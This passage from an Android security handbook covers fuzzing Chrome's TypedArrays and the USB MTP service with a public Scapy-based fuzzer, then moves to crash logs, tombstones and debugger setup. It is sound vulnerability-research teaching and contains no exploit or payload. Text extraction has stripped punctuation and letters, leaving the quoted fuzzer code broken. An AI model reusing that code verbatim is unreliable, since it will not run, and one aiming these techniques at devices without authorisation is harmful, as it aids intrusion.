Chapter 6 ■ Finding Vulnerabilities with Fuzz Testing 197 c06.indd 01:19:0:PM 02/24/2014 Page 197 Additionally several crashes referencing 0xbbadbeef occurred. This value is associated with memory allocation failures and other issues within Chrome that are fatal. The following is one such example: pid: 11212 tid: 11230 name: ChildProcessMai com.android.chrome:sandboxed_process10 signal 11 SIGSEGV code 1 SEGV_MAPERR fault addr bbadbeef r0 6ad79694 r1 fffffffe r2 00000000 r3 bbadbeef r4 6c499e60 r5 6c47e250 r6 6ad79768 r7 6ad79758 r8 6ad79734 r9 6ad79800 sl 6ad79b08 fp 6ad79744 ip 2bde4001 sp 6ad79718 lr 6bab2c1d pc 6bab2c20 cpsr 40040030 Finally a few times crashes similar to the following appeared: pid: 29030 tid: 29044 name: ChildProcessMai com.android.chrome:sandboxed_process11 signal 11 SIGSEGV code 1 SEGV_MAPERR fault addr 93623000 r0 6d708091 r1 092493fe r2 6eb3053d r3 6ecfe008 r4 24924927 r5 049249ff r6 6ac01f64 r7 6d708091 r8 6d747a09 r9 93623000 sl 5a3bb014 fp 6ac01f84 ip 6d8080ac sp 6ac01f70 lr 3dd657e8 pc 3dd63db4 cpsr 600e0010 The input that caused this crash is remarkably similar to the proof-of-concept trigger provided by Jon Butler. This fuzzer serves as an example of just how quick and easy fuzz testing can be. With only a couple hundred lines of Python BrowserFuzz is able to give the TypedArrays functionality in Chrome a workout. In addition to uncovering several less critical bugs this fuzzer successfully rediscovered the critical bug Pinkie Pie used to win Mobile Pwn2Own. This fuzzer serves as an example that focusing fuzzing efforts on a narrow area of code can increase eff ciency and thus the chance to f nd bugs. Further BrowserFuzz provides a skeleton that can be easily repurposed by a motivated reader to fuzz other browser functionality. Fuzzing the USB Attack Surface Chapter 5 discussed some of the many different functions that the Universal Serial Bus USB interface of an Android device can expose. Each function represents an attack surface in itself. Although accessing these functions does require physical access to a device vulnerabilities in the underlying code can allow accessing the device in spite of existing security mechanisms such as a locked screen or disabled or secured ADB interface. Potential impact includes reading data from the device writing data to the device gaining code execution rewriting parts of the device’s f rmware and more. These facts combined make the USB attack surface an interesting target for fuzz testing.

slide 230:

198 Chapter 6 ■ Finding Vulnerabilities with Fuzz Testing c06.indd 01:19:0:PM 02/24/2014 Page 198 There are two primary categories of USB devices: hosts and devices. Although some Android devices are capable of becoming a host many are not. When a device switches to behaving as a host usually by using an On-the-Go OTG cable it’s said to be in host mode. Because host mode support on Android devices has a checkered past this section instead focuses on fuzzing device mode services. USB Fuzzing Challenges Fuzzing a USB device like other types of fuzzing presents its own set of chal- lenges. Some input processing is implemented in the kernel and some in user- space. If processing in the kernel encounters a problem the kernel may panic and cause the device to reboot or hang. The user-space application that imple- ments a particular function may and hopefully will crash. USB devices often respond to errors by issuing a bus reset. That is the device will disconnect itself from the host and reset itself to a default conf guration. Unfortunately resetting the device disconnects all USB functions currently in use including any ADB sessions being used for monitoring. Dealing with these possibilities requires additional detection and handling in order to maintain autonomous testing. Thankfully Android is fairly robust in most of these situations. Services often restart automatically. Android devices use a watchdog that will restart the device in the case of a kernel panic or hang. Many times simply waiting for the device to come back is suff cient. If the device doesn’t return issuing a bus reset for the device may resolve the situation. Still in some rare and less-than-ideal cases it may be necessary to physically reconnect or power cycle the device to clear an error. It is possible to automate these tasks too though it may require using special hardware such as a USB hub that supports software control or custom power supplies. These methods are outside the scope of this chapter. Though fuzzing a USB device comes with its own challenges much of the high-level process remains the same. Fuzzing one function at a time yields bet- ter results than attempting to fuzz all exposed USB functions simultaneously. As with most applications that allow communication between two computers applications that use USB as a transport implement their own protocols. Selecting a Target Mode Due to the many different possible modes that a USB interface can be in choosing just one can be diff cult. On the other hand changing the mode of an Android device usually switches the exposed functions. That is one mode exposes a certain set of functions but another mode exposes a different set of functions. This can easily be seen when plugging a device into USB. Upon doing so a notif cation will typically appear stating the current mode and instructing the user to click to change options. Exactly which functions are supported varies

slide 231:

Chapter 6 ■ Finding Vulnerabilities with Fuzz Testing 199 c06.indd 01:19:0:PM 02/24/2014 Page 199 from one device to the next. Figure 6-3 shows the notif cation when plugging in a Nexus 4 with Android 4.4. Figure 6-3: USB connected notification After clicking on the notif cation the user is brought to the screen shown in Figure 6-4. Figure 6-4: USB mode selection From Figure 6-4 it appears that not very many modes are offered by default on the Nexus 4. The truth of the matter is that some other functions are supported such as USB tethering but they must be explicitly enabled or set by booting up in special ways. This device is in its default setting and thus “Media device MTP” is the default function exposed by the device in its factory state. This alone makes it the most attractive fuzz target. Generating Inputs After selecting a specif c USB function to target the next step is to learn as much as possible about it. Thus far the only thing known is that the Android device identif es this function as “Media device MTP.” Researching the MTP acronym reveals that it stands for Media Transfer Protocol. A brief investiga- tion explains that MTP is based on Picture Transfer Protocol PTP. Further searching for “MTP fuzzing” leads to a publicly available tool that implements fuzzing MTP . Olle Segerdahl developed this tool and released it at the 2012 T2 Infosec conference in Finland. The tool is available at https://github.com/ ollseg/usb-device-fuzzing.git. The rest of this section examines how this fuzzer generates and processes inputs.

slide 232:

200 Chapter 6 ■ Finding Vulnerabilities with Fuzz Testing c06.indd 01:19:0:PM 02/24/2014 Page 200 Upon taking a deeper look at Olle’s usb-device-fuzzing tool it becomes obvi- ous that he built his generation strategy on the popular Scapy packet manipula- tion tool. This is an excellent strategy because Scapy provides much of what is needed to generate fuzzed packet input. It allows the developer to focus on the specif c protocol at hand. Still Olle had to tell Scapy about the structure of MTP packets and the f ow of the protocol. He also had to implement any nonstandard handling such as relationships between data and length f elds. The code for generating packets lies within the USBFuzz/MTP.py f le. Per usual it starts by including the necessary Scapy components. Olle then def ned two dictionaries to hold the Operation and Response codes used by MTP . Next Olle def ned a Container class and two of MTP’s Transaction Phases. All MTP transactions are pref xed by a container to let the MTP service know how to interpret the following data. The Container class which is actually described in the PTP specif cation is listed here: 98 class ContainerPacket: 99 name "PTP/MTP Container " 100 101 _Types "Undefined":0 "Operation":1 "Data":2 "Response":3 "Event":4 102 103 _Codes 104 _Codes.updateOpCodes 105 _Codes.updateResCodes 106 fields_desc LEIntField"Length" None 107 LEShortEnumField"Type" 1 _Types 108 LEShortEnumField"Code" None _Codes 109 LEIntField"TransactionID" None This object generates the container structure used by both PTP and MTP. Because it’s built on Scapy this class only needs to def ne f elds _desc. It tells Scapy how to build the packet that represents the object. As seen from the source code the Container packet consists of only four f elds: a length a type a code and a transaction identif er. Following this def nition the Container class contains a post_build function. It handles two things. First it copies the code and transaction identif er from the payload which will contain one of the two packet types discussed next. Finally the post_build function updates the Length f eld based on the size of the provided payload. The next two objects that Olle def ned are the Operation and Response pack- ets. These packets are used as the payload for Container objects. They share a common structure and differ only by the codes that are valid in the Code f eld. The following excerpt shows the relevant code: 127 class OperationPacket: 128 name "Operation " 129 fields_desc LEShortEnumField"OpCode" 0 OpCodes

slide 233:

Chapter 6 ■ Finding Vulnerabilities with Fuzz Testing 201 c06.indd 01:19:0:PM 02/24/2014 Page 201 130 LEIntField"SessionID" 0 ... 143 class ResponsePacket: 144 name "Response " 145 fields_desc LEShortEnumField"ResCode" 0 ResCodes 146 LEIntField"SessionID" 0 147 LEIntField"TransactionID" 1 148 LEIntField"Parameter1" 0 149 LEIntField"Parameter2" 0 150 LEIntField"Parameter3" 0 151 LEIntField"Parameter4" 0 152 LEIntField"Parameter5" 0 These two packets represent the two most important of the four MTP trans- action types. For Operation transactions the OpCode f eld is selected from the OpCodes dictionary def ned previously. Likewise Response transactions use the ResCodes dictionary. Although these objects describe the packets used by the fuzzer they do not implement the input generation entirely on their own. Olle implements the remainder of input generation in the examples/mtp_fuzzer.py f le. The source code follows. 31 trans struct.unpack"I" os.urandom40 32 r struct.unpack"H" os.urandom20 33 opcode OpCodes.itemsrlenOpCodes1 34 if opcode OpCodes"CloseSession": 35 opcode 0 36 cmd Container/fuzzOperationOpCodeopcode TransactionIDtrans SessionIDdev.current_session Lines 31 through 33 select a random MTP Transaction type and Operation code. Lines 34 and 35 handle the special case when the CloseSession Operation is randomly selected. If the session is closed the fuzzer will be unlikely to exercise any of the underlying code that requires an open session. In MTP this is nearly all operations. Finally the Operation request packet is built on line 36. Note that Olle uses the fuzz function from Scapy which f lls in the various packet f elds with random values. At this point the fuzzed input is generated and ready to be delivered to the target device. Processing Inputs The MTP specif cation discusses the Initiator and Responder roles within the protocol f ow. As with most USB device communications the host is the Initiator and the device is the Responder. As such Olle coded his fuzzer to repeatedly send Operation packets and read Response packets. To do this he used PyUSB which is a popular set of Python bindings to the libusb communications library. The API provided by PyUSB is clean and easy to use.

slide 234:

202 Chapter 6 ■ Finding Vulnerabilities with Fuzz Testing c06.indd 01:19:0:PM 02/24/2014 Page 202 Olle starts by creating an MTPDevice class in USBFuzz/MTP.py. He derives this class from PyUSB’s BulkPipe class which is used as its name suggests for communicating with USB Bulk Pipes. Apart from a couple of timing-related options this class needs the Vendor Id and the Product Id of the target device. After creating the initial connection to the device much of the functionality pertains to monitoring rather than delivering inputs. As such it will be discussed further in the next section. Back in examples/mtp_fuzz.py Olle implemented the rest of the input pro- cessing code. The following is the relevant code: 16 s dev.new_session 17 cmd Container/OperationOpCodeOpCodes"OpenSession" Parameter1s 18 cmd.show2 19 dev.sendcmd 20 response dev.read_response ... 27 while True: ... 38 dev.sendcmd 39 response dev.read_responsetrans On lines 16 through 20 Olle opens a session with the MTP device. This process consists of sending an Operation packet using the OpenSession operation code followed by reading a Response packet. As shown on lines 38 and 39 this really is all that is done to deliver inputs for processing. The typical USB master-slave relationship between the host and the device makes processing inputs easy compared to other types of fuzzing. With inputs getting processed the only thing left is to monitor the system for ill behavior. Monitoring Testing Fuzzing most USB devices provides relatively little means for monitoring what is happening inside the device itself. Android devices are different in this regard. It’s much easier to use typical monitoring mechanisms on Android. In fact the methods discussed earlier in this chapter work great. Still as mentioned in the earlier “USB Fuzzing Challenges” section the device might reset the USB bus or stop responding. These situations require special handling. Olle’s usb-device-fuzzing tool does not do any monitoring on the device itself. This fact isn’t surprising as he was not targeting Android devices when he developed his fuzzer. However Olle does go to lengths to monitor the device itself from the host. The MTPDevice class implements a method called is_alive in order to keep tabs on whether the device is responsive. In this method Olle f rst checks to see if the device is alive using the underlying BulkPipe class.

slide 235:

Chapter 6 ■ Finding Vulnerabilities with Fuzz Testing 203 c06.indd 01:19:0:PM 02/24/2014 Page 203 Following that he sends a Skip Operation packet using an unknown transaction identif er 0xdeadbeef. This is almost sure to illicit some sort of error response signifying that the device is ready to process more inputs. In the main fuzzer code in examples/mtp_fuzzer.py Olle starts by resetting the device. This puts the device in what is presumed to be a known good state. Then in the main loop Olle calls the is_alive method after each interaction with the device. If the device stops responding he again resets the device to return it to working order. This is a good strategy for keeping the fuzzer running for long periods of time. However running this fuzzer against an Android device made it apparent that it is insuff cient. In addition to using is_alive Olle also prints out the Operation and Response packets that are sent and received. This helps determine what caused a particular issue but it isn’t perfect. In particular it’s diff cult to replay inputs this way. Also it’s diff cult to tie an input directly to a crash. When targeting an Android device with this fuzzer monitoring Android’s system log yields excellent feedback. However it’s still necessary to deal with frequent device resets. Thankfully this is pretty simple using the following command. dev:/android/usb-device-fuzzing while true do adb wait-for-device \ logcat done .. log output here .. With this command running it’s possible to see debugging messages logged by the MtpServer code running in the device. Like when fuzzing Chrome for Android monitoring the system log immediately reveals a bunch of error messages that indicate certain parts of the protocol are not supported. Commenting these out will increase eff ciency and is unlikely to impact the potential to f nd bugs. When we ran this fuzzer against a 2012 Nexus 7 with Android 4.4 a crash appeared within only a few minutes. The following message was logged when the process hosting the MtpServer thread crashed: Fatal signal 11 SIGSEGV at 0x66f9f002 code1 thread 413 MtpServer Build fingerprint: google/nakasi/grouper:4.4/KRT16O/907817:user/release- keys Revision: 0 pid: 398 tid: 413 name: MtpServer android.process.media signal 11 SIGSEGV code 1 SEGV_MAPERR fault addr 66f9f002 r0 5a3adb58 r1 66f92008 r2 66f9f000 r3 0000cff8 r4 66fa2dd8 r5 000033fb r6 5a3adb58 r7 00009820 r8 220b0ff6 r9 63ccbef0 sl 63ccc1c4 fp 63ccbef0 ip 63cc3a11 sp 6a8e3a8c lr 63cc3fc9 pc 63cc3d2a cpsr 000f0030 Looking closer showed that this was a harmless crash but the fact that a crash happened so quickly indicates there may be other issues lurking within.

slide 236:

204 Chapter 6 ■ Finding Vulnerabilities with Fuzz Testing c06.indd 01:19:0:PM 02/24/2014 Page 204 We leave additional fuzzing against MtpServer other USB protocols devices and so on to you if you’re interested. All in all this section shows that even applying existing public fuzzers can f nd bugs in Android. Summary This chapter provided all of the information needed to get started fuzzing on Android. It explored the high-level process of fuzzing including identifying targets creating test inputs processing those inputs and monitoring for ill behavior. It explained the challenges and benef ts of fuzzing on Android. NOTE Chapter 11 provides additional information about fuzzing SMS on Android devices. The chapter was rounded out with in-depth discussions of three fuzzers. Two of these fuzzers were developed specif cally for this chapter. The last fuzzer was a public fuzzer that was simply targeted at an Android device. In each case the fuzzer led to the discovery of issues in the underlying code. This shows that fuzzing is an effective technique for discovering bugs and security vulnerabilities lurking inside Android devices. The next chapter shows you how to gain a deeper understanding of bugs and vulnerabilities through debugging and vulnerability analysis. Applying the concepts within allows you to harvest fuzz results for security bugs paving the way for turning them into working exploits.

slide 237:

205 c07.indd 11:8:41:AM 02/25/2014 Page 205 It’s very diff cult—arguably impossible—to create programs that are free of bugs. Whether the goal is to extinguish bugs or to exploit them liberal applica- tion of debugging tools and techniques is the best path to understanding what went wrong. Debuggers allow researchers to inspect running programs check hypotheses verify data f ow catch interesting program states or even modify behavior at runtime. In the information security industry debuggers are essen- tial to analyzing vulnerability causes and judging just how severe issues are. This chapter explores the various facilities and tools available for debugging on the Android operating system. It provides guidance on how to set up an environment to achieve maximum eff ciency when debugging. Using some example code and a real vulnerability you walk through the debugging process and see how to analyze crashes to determine their root cause and exploitability. Getting All Available Information The f rst step to any successful debugging or vulnerability analysis session is to gather all available information. Examples of valuable information include documentation source code binaries symbol f les and applicable tools. This section explains why these pieces of information are important and how you use them to achieve greater eff cacy when debugging. CHAPTER 7 Debugging and Analyzing Vulnerabilities

slide 238:

206 Chapter 7 ■ Debugging and Analyzing Vulnerabilities c07.indd 11:8:41:AM 02/25/2014 Page 206 Look for documentation about the specif c target protocols that the target uses f le formats the target supports and so on. In general the more you know going in the better chance of a successful outcome. Also having easily accessible documentation during analysis often helps overcome unexpected diff culties quickly. CROSSREFERENCE Information about how and where to obtain source code for various Android devices is covered in Appendix B. The source code to the target can be invaluable during analysis. Reading source code is usually much more eff cient than reverse-engineering assembly code which is often very tedious. Further access to source code gives you the ability to rebuild the target with symbols. As discussed in the “Debugging with Symbols” section later in this chapter symbols makes it possible to debug at the source-code level. If source code for the target itself is not available look for source code to competing products derivative works or ancient precursors. Though they probably will not match the assembly sometimes you get lucky. Different programmers even with wildly different styles tend to approach certain problems the same way. In the end every little bit of information helps. Binaries are useful for two reasons. First the binaries from some devices contain partial symbols. Symbols provide valuable function information such as function names as well as parameter names and types. Symbols bridge the gap between source code and binary code. Second even without symbols binaries provide a map to the program. Using static analysis tools to reverse engineer binaries yields a wealth of information. For example disassemblers reconstruct the data and control f ow from the binary. They facilitate navigating the program based on control f ow which makes it easier to get oriented in the debugger and f nd interesting program locations. Symbols are more important on ARM-based systems than on x86 systems. As discussed in Chapter 9 ARM processors have several execution modes. In addition to names and types symbols are also used to encode the processor mode used to execute each function. Further ARM processors often store read- only constants used by a function immediately following the function’s code itself. Symbols are also used to indicate where this data lies. These special types of symbols are particularly important when debugging. Debuggers encounter issues when they don’t have access to symbols especially when displaying stack traces or inserting breakpoints. For example the instruction used to install a breakpoint differs between processor modes. If the wrong one is used it could lead to a program crash the breakpoint being missed or even a debugger crash.

slide 239:

Chapter 7 ■ Debugging and Analyzing Vulnerabilities 207 c07.indd 11:8:41:AM 02/25/2014 Page 207 For these reasons symbols are the most precious commodity when debugging ARM binaries on Android. Finally having the right tools for the job always makes the job easier. Disassemblers such as IDA Pro and radare2 provide a window into binary code. Most disassemblers are extensible using plug-ins or scripts. For example IDA Pro has a plug-in application programming interface API and two scripting engines IDC and Python and radare2 is embeddable and provides bindings for several programming languages. Tools that extend these disassemblers may prove to be indispensable during analysis especially when symbols are not available. Depending on the particular target program other tools may also apply. Utilities that expose what’s happening at the network f le system system call or library API level provide valuable perspectives on a program’s execution. Choosing a Toolchain A toolchain is a collection of tools that are used to develop a product. Usually a toolchain includes a compiler linker debugger and any necessary system libraries. Simply put building a toolchain or choosing an existing one is the f rst step to building your code. For the purpose of this chapter the debugger is the most interesting component. As such you need to choose a workable toolchain accordingly. For Android the entity that builds a particular device selects the toolchain during development. As a researcher trying to debug the compiler’s output the choice affects you directly. Each toolchain represents a snapshot of the tools it contains. In some cases different versions of the same toolchain are incompat- ible. For example using a debugger from version A on a binary produced by a compiler from version B may not work or it may even cause the debugger to crash. Further many toolchains have various bugs. To minimize compatibility issues it is recommended that you use the same toolchain that the manufacturer used. Unfortunately determining exactly which toolchain the manufacturer used can be diff cult. In the Android and ARM Linux ecosystems there are a variety of debuggers from which to choose. This includes open source projects as well as commercial products. Table 7-1 describes several of the tools that include an ARM Linux capable debugger.

slide 240:

208 Chapter 7 ■ Debugging and Analyzing Vulnerabilities c07.indd 11:8:41:AM 02/25/2014 Page 208 Table 7-1: Tools that Include an ARM Linux Debugger TOOL DESCRIPTION IDA Pro IDA Pro is a commercial disassembler product that includes a remote debugging server for Android. Debootstrap Maintained by the Debian Project this tool allows running the GNU Debugger GDB on a device. Linaro Linaro provides toolchains for several versions of Android going back to Gingerbread. RVDS ARM’s offi cial compiler toolchain is commercial but evaluation copies are available. Sourcery Formerly Sourcery G++ Mentor Graphics’s toolchain is available in evalua- tion commercial and Lite editions. Android NDK The offi cial Android Native Development Kit NDK enables app developers to include native code in their apps. AOSP Prebuilt The Android Open Source Project AOSP repository includes a prebuilt toolchain that is used to build AOSP fi rmware images. In the course of writing this book the authors experimented with a few of the toolchains described in this section. Specif cally we tried out IDA’s android_ server the Debootstrap GDB package the Android NDK debugger and the AOSP debugger. The latter two are documented in detail in the “Debugging Native Code” section later in this chapter. The best results were achieved when we used the AOSP prebuilt toolchain in conjunction with an AOSP-supported Nexus device. Individual mileage may vary. Debugging with Crash Dumps The simplest debugging facility provided by Android is the system log. Accessing the system log is accomplished by running the logcat utility on the device. It is also accessible using the logcat Android Debug Bridge ADB device com- mand. We introduced this facility in Chapter 2 and used it in Chapters 4 and 6 to watch for various system events. Monitoring the system log puts a plethora of real-time feedback including exceptions and crash dumps front and center. We highly recommend monitoring the system log whenever you do any testing or debugging on an Android device. System Logs When an exception occurs in a Dalvik application including in the Android Framework the exception detail is written to the system log. The following excerpt from the system log of a Motorola Droid 3 shows one such exception occurring.

slide 241:

Chapter 7 ■ Debugging and Analyzing Vulnerabilities 209 c07.indd 11:8:41:AM 02/25/2014 Page 209 D/AndroidRuntime: Shutting down VM W/dalvikvm: threadid1: thread exiting with uncaught exception group0x4001e560 E/AndroidRuntime: FATAL EXCEPTION: main E/AndroidRuntime: java.lang.RuntimeException: Error receiving broadcast Intent actandroid.intent.action.MEDIA_MOUNTED datfile:///sdcard/nosuchfile in com.motorola.usb.UsbService140522c10 E/AndroidRuntime: at android.app.LoadedApkReceiverDispatcherArgs. run LoadedApk.java:722 E/AndroidRuntime: at android.os.Handler.handleCallbackHandler. java:587 E/AndroidRuntime: at android.os.Handler.dispatchMessageHandler. java:92 E/AndroidRuntime: at android.os.Looper.loopLooper.java:130 E/AndroidRuntime: at android.app.ActivityThread.mainActivityThread.java:3821 E/AndroidRuntime: at java.lang.reflect.Method.invokeNativeNative Method E/AndroidRuntime: at java.lang.reflect.Method.invokeMethod. java:507 E/AndroidRuntime: at com.android.internal.os.ZygoteInitMethodAndArgsCaller.run ZygoteInit.java:839 E/AndroidRuntime: at com.android.internal.os.ZygoteInit.mainZygoteInit.java:597 E/AndroidRuntime: at dalvik.system.NativeStart.mainNative Method E/AndroidRuntime: Caused by: java.lang.ArrayIndexOutOfBoundsException E/AndroidRuntime: at java.util.ArrayList.getArrayList.java:313 E/AndroidRuntime: at com.motorola.usb.UsbService.onMediaMounted UsbService.java:624 E/AndroidRuntime: at com.motorola.usb.UsbService.access1100UsbService.java:54 E/AndroidRuntime: at com.motorola.usb.UsbService1.onReceiveUsbService.java:384 E/AndroidRuntime: at android.app.LoadedApkReceiverDispatcherArgs. run LoadedApk.java:709 E/AndroidRuntime: ... 9 more In this case a RuntimeException was raised when receiving a MEDIA_MOUNTED Intent. The Intent is being processed by the com.motorola.usb.UsbService Broadcast Receiver. Walking further up the exception stack reveals that an ArrayIndexOutOfBoundsException occurred in the onMediaMounted function in the UsbService. Presumably the exception occurs because the file:/// sdcard/nosuchfile uniform resource indicator URI path does not exist. As seen on the third line the exception is fatal and causes the service to terminate. Tombstones When a crash occurs in native code on Android the debugger daemon prepares a brief crash report and writes it to the system log. In addition debuggerd also saves the crash report to a f le called a tombstone. These f les are located in the

slide 242:

210 Chapter 7 ■ Debugging and Analyzing Vulnerabilities c07.indd 11:8:41:AM 02/25/2014 Page 210 /data/tombstones directory on nearly all Android devices. Because access to this directory and the f les inside it is usually restricted reading tombstone f les typically requires root access. The following excerpt shows an abbreviated example of a native code crash log: 255|shellmako:/ ps | lolz /system/bin/sh: lolz: not found Fatal signal 13 SIGPIPE at 0x00001303 code0 thread 4867 ps Build fingerprint: google/occam/mako:4.3/JWR66Y/776638:user/relea... Revision: 11 pid: 4867 tid: 4867 name: ps ps signal 13 SIGPIPE code -6 SI_TKILL fault addr -------- r0 ffffffe0 r1 b8efe0b8 r2 00001000 r3 00000888 r4 b6fa9170 r5 b8efe0b8 r6 00001000 r7 00000004 r8 bedfd718 r9 00000000 sl 00000000 fp bedfda77 ip bedfd76c sp bedfd640 lr b6f80dd5 pc b6f7c060 cpsr 200b0010 d0 75632f7274746120 d1 0000000000000020 d2 0000000000000020 d3 0000000000000020 d4 0000000000000000 d5 0000000000000000 d6 0000000000000000 d7 8af4a6c000000000 d8 0000000000000000 d9 0000000000000000 d10 0000000000000000 d11 0000000000000000 d12 0000000000000000 d13 0000000000000000 d14 0000000000000000 d15 0000000000000000 d16 c1dd406de27353f8 d17 3f50624dd2f1a9fc d18 41c2cfd7db000000 d19 0000000000000000 d20 0000000000000000 d21 0000000000000000 d22 0000000000000000 d23 0000000000000000 d24 0000000000000000 d25 0000000000000000 d26 0000000000000000 d27 0000000000000000 d28 0000000000000000 d29 0000000000000000 d30 0000000000000000 d31 0000000000000000 scr 00000010 backtrace: 00 pc 0001b060 /system/lib/libc.so write+12 01 pc 0001fdd3 /system/lib/libc.so __sflush+54 02 pc 0001fe61 /system/lib/libc.so fflush+60 03 pc 00020cad /system/lib/libc.so 04 pc 00022291 /system/lib/libc.so ... The crash in the preceding example is triggered by the SIGPIPE signal. When the system attempts to pipe the output from the ps command to the lolz com- mand it f nds that lolz does not exist. The operating system then delivers the SIGPIPE signal to the ps process to tell it to terminate its processing. In addition to the SIGPIPE signal several other signals are caught and result in a native crash log. Most notably segmentation violations are logged via this facility. Exclusively using crash dumps for debugging leaves much to be desired. Researchers turn to interactive debugging when crash dumps are not enough.

slide 243:

Chapter 7 ■ Debugging and Analyzing Vulnerabilities 211 c07.indd 11:8:41:AM 02/25/2014 Page 211 The rest of this chapter focuses on interactive debugging methods and how to apply them to analyze vulnerabilities. Remote Debugging Remote debugging is a form of debugging in which a developer uses a debug- ger that runs on a separate computer from the target program. This method is commonly used when the target program uses full screen graphics or as in our case the target device doesn’t provide a suitable interface for debugging. To achieve remote debugging a communication channel must be set up between the two machines. Figure 7-1 depicts a typical remote debugging conf guration as it applies to Android devices. USB or Wi-Fi Connection Figure 7-1: Remote debugging configuration In this conf guration the developer connects his device to his host machine either via the same local area network LAN or universal serial bus USB. When using a LAN the device connects to the network using Wi-Fi. When using USB the device is plugged directly into the host machine. The developer then runs a debugger server and a debugger client on the Android device and his host machine respectively. The client then communicates with the server to debug the target program. Remote debugging is the preferred method for debugging on Android. This methodology is used when debugging both Dalvik code and native code. Because most Android devices have a relatively small screen and lack a physical keyboard

slide 244:

212 Chapter 7 ■ Debugging and Analyzing Vulnerabilities c07.indd 11:8:41:AM 02/25/2014 Page 212 they don’t have debugger-friendly interfaces. As such it’s easy to see why remote debugging is preferred. Debugging Dalvik Code The Java programming language makes up a large part of the Android software ecosystem. Many Android apps as well as much of the Android Framework are written in Java and then compiled down to Dalvik bytecode. As with any signif cantly complex software stack programmers make mistakes and bugs are born. Tracking down understanding and addressing these bugs is a job made far easier with the use of a debugger. Thankfully many usable tools exist for debugging Dalvik code. Dalvik like its Java cousin implements a standardized debug interface called Java Debug Wire Protocol or JDWP for short. Nearly all of the various tools that exist for debugging Dalvik and Java programs are built upon this proto- col. Although the internals of the protocol are beyond the scope of this book studying this protocol may be benef cial to some readers. A good starting point for obtaining more information is Oracle’s documentation on JDWP at http:// docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp-spec.html. At the time of this writing two off cial development environments are pro- vided by the Android team. The newer of the two Android Studio is based on IntelliJ IDEA made by JetBrains. Unfortunately this tool is still in the prerelease phase. The other tool the Android Development Tools ADT plug-in for the Eclipse IDE is and has been the off cially supported development environ- ment for Android app developers since the r3 release of the Android Software Development Kit SDK. In addition to development environments several other tools are built upon the JDWP standard protocol. For instance the Android Device Monitor and Dalvik Debug Monitor Server DDMS tools included with the Android SDK use JDWP. These tools facilitate app prof ling and other system-monitoring tasks. They use JDWP to access app-specif c information like threads heap usage and ongoing method calls. Beyond the tools included with the SDK several other tools also rely on JDWP . Among these are the traditional Java Debugger JDB program included with Oracle’s Java Development Kit JDK and the AndBug tool demonstrated in Chapter 4. This is by no means an exhaustive list as JDWP is used by several other tools not listed in this text. In an effort to simplify matters we chose to stick to the off cially supported tools for the demonstrations in this section. Throughout the examples in this section we used the following software: ■ Ubuntu 12.04 on amd64 ■ Eclipse from eclipse-java-indigo-SR2-linux-gtk-x86_64.tar.gz

slide 245:

Chapter 7 ■ Debugging and Analyzing Vulnerabilities 213 c07.indd 11:8:41:AM 02/25/2014 Page 213 ■ Android SDK r22.0.5 ■ Android NDK r9 ■ Android’s ADT plug-in v22.0.5 To make developers’ lives easier the Android team started offering a combined download called the ADT Bundle in late 2012. It includes Eclipse the ADT plug- in the Android SDK and Platform-tools and more. Rather than downloading each component separately this single download contains everything most developers need. The only noteworthy exception is the Android NDK which is only needed for building apps that contain native code. Debugging an Example App Using Eclipse to debug an Android app is easy and straightforward. The Android SDK comes with a number of sample apps that help you become familiar with the Eclipse environment. However a dead simple “Hello World” app is included in the materials for this chapter on the book’s website: www.wiley.com/go/ androidhackershandbook. We use this app for demonstrative purposes throughout this section. To follow along import the HelloWorld project into your Eclipse workspace using File ➢ Import followed by General ➢ Existing Projects into Workspace. After Eclipse f nishes loading it displays the Java perspective as shown in Figure 7-2. Figure 7-2: Eclipse Java perspective

slide 246:

214 Chapter 7 ■ Debugging and Analyzing Vulnerabilities c07.indd 11:8:41:AM 02/25/2014 Page 214 To begin debugging the application click the Debug As icon in the toolbar— the one that looks like a bug—to bring up the Debug perspective. As its name implies this perspective is designed especially for debugging. It displays the views most pertinent to debugging which puts the focus on the most relevant information. Figure 7-3 shows the debug perspective after the debugging ses- sion has launched. Figure 7-3: Eclipse Debug perspective As you can see several of the views displayed are not present in the Java perspective. In fact the only views common with the Java perspective are the outline and source code views. In Figure 7-3 the debugger is stopped on a breakpoint placed in the main activity. This is apparent from the highlighted line of code and the stack frame selected in the Debug view. Clicking the vari- ous stack frames in this view displays the surrounding code in the source code view. Clicking frames for which no source code is available displays a descrip- tive error instead. The next section describes how to display source code from the Android Framework while debugging. Although this method is straightforward a lot of things are happening under the hood. Eclipse automatically handles building a debug version of the app installing the app to the device launching the app and attaching the debugger. Debugging applications on an Android device typically requires the android:debuggabletrue f ag to be set in the application’s manifest also known

slide 247:

Chapter 7 ■ Debugging and Analyzing Vulnerabilities 215 c07.indd 11:8:41:AM 02/25/2014 Page 215 as the AndroidManifest.xml f le. Later in the “Debugging Existing Code” sec- tion methods for debugging other types of code are presented. Showing Framework Source Code Occasionally it’s useful to see how the application code is interacting with the Android Framework. For example you may be interested in how the application is being invoked or how calls into the Android Framework are being processed. Thankfully it’s possible to display the source code for the Android Framework when clicking stack frames just as the source code for an app is displayed. The f rst thing you need to accomplish this is a properly initialized AOSP repository. To initialize AOSP properly follow the build instructions from the off cial Android documentation located at http://source.android.com/source/ building.html. When using a Nexus device as we recommend pay special attention to the branch and conf guration for the device being used. You can f nd these details at http://source.android.com/source/building-devices .html. The f nal step for initialization is running the lunch command. After the AOSP repository is initialized correctly proceed to the next step. The next step involves building a class path for Eclipse. From the AOSP root directory run the make idegen command to build the idegen.sh script. When the build is complete you can f nd the script in the development/tools/idegen directory. Before running the script create the excluded-paths f le in the top- level directory. Exclude all of the directories under the top-level that you don’t want to include. To make this step easier an example excluded-paths f le which includes only code from the frameworks directory is included in the materials accompanying this book. When the excluded-paths f le is ready execute the idegen.sh script. The following shell session excerpt shows the output from a successful execution: dev:/android/source ./development/tools/idegen/idegen.sh Read excludes: 3ms Traversed tree: 1794ms dev:/android/source ls -l .classpath -rw------- 1 jdrake jdrake 20K Aug 25 17:46 .classpath dev:/android/source The resulting class path data gets written to the .classpath f le in the current directory. You will use this in the next step. The next step involves creating a new project to contain the source code f les from the class path that you generated. Using the same workspace as the “Hello World” app from the previous section create a new Java project with File ➢ New Project ➢ Java ➢ Java Project. Enter a name for the project such as AOSP Framework Source. Deselect the Use Default Location check box and instead specify the path to the top-level AOSP directory. Here Eclipse uses the .classpath f le created in the previous step. Click Finish to conclude this step.

slide 248:

